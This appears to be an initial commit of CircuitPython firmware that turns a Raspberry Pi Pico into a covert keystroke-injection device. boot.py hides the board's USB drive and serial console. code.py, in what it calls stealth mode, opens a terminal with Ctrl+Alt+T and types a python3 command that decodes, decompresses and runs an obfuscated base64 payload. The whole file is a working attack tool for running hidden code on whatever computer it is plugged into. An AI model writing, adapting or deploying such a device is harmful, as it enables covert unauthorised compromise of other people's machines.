init

boot.py

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+import storage
+import usb_cdc
+import board
+import digitalio
+
+edit_mode_pin = digitalio.DigitalInOut(board.GP0)
+edit_mode_pin.pull = digitalio.Pull.UP
+
+if edit_mode_pin.value:
+    storage.disable_usb_drive()
+    usb_cdc.disable()

boot_out.txt

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+Adafruit CircuitPython 10.1.4 on 2026-03-09; Raspberry Pi Pico with rp2040
+Board ID:raspberry_pi_pico
+UID:DE65440357434F2A
+boot.py output:

code.py

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+import time
+import usb_hid
+import board
+import digitalio
+import neopixel
+from adafruit_hid.keyboard import Keyboard
+from adafruit_hid.keycode import Keycode
+from keyboard_layout_win_de import KeyboardLayout
+
+pixel = neopixel.NeoPixel(board.GP16, 1)
+
+# --- SETUP DEBUG/EDIT PIN ---
+# We use the same logic as boot.py
+edit_mode_pin = digitalio.DigitalInOut(board.GP0)
+edit_mode_pin.pull = digitalio.Pull.UP
+
+# If edit_mode_pin.value is False, the wire is connected (GND).
+# If it's True, no wire is connected (Stealth Mode).
+is_stealth_mode = edit_mode_pin.value
+
+if is_stealth_mode:
+    pixel.fill((0, 0, 0))
+    time.sleep(2)
+
+    kbd = Keyboard(usb_hid.devices)
+    layout = KeyboardLayout(kbd)
+
+    kbd.press(Keycode.CONTROL, Keycode.ALT, Keycode.T)
+    kbd.release_all()
+
+    time.sleep(5)
+
+    payload = r"""python3 -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENb6wqLFUQ8iIjgehORNhk1NE1CktWq+N9tyOIcZngzb9586Nm7kHB0coLEv40e+ThE2HQ8prCXiSc9A3p1AS9YWxwG+wa0qdkWVSl8rb6KfWkWJdCWH/Du/ur2Zff4cH15xzJPSGctyEQpac5a0daiqcUJ4d1qLDPGAMOEKlgk+JSl82wRDYCnpwyZvqwk9tYPcqLk4obwKALID7oKPNXPSPUHbBj6fNcGsAFLFTs3q5w6+q8elzRDsICk+WqhQLrZB4iRlgeIcdPlpILM5D8kkm38ZegPfONevg==')[0])))" """
+
+    layout.write(payload)
+    kbd.send(Keycode.ENTER)
+
+    pixel.fill((0, 255, 0))
+    time.sleep(1)
+    kbd.send(Keycode.ENTER)
+    time.sleep(1000000)
+else:
+    pixel.fill((0, 0, 255))
+    time.sleep(1)
+    pixel.fill((0, 255, 0))
+    time.sleep(1)
+    pixel.fill((255, 0, 0))
+    time.sleep(1)
+
+
+    print("Debug wire detected. Script execution halted.")
+    pass

sd/placeholder.txt

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+SD cards mounted at /sd will hide this file from Python.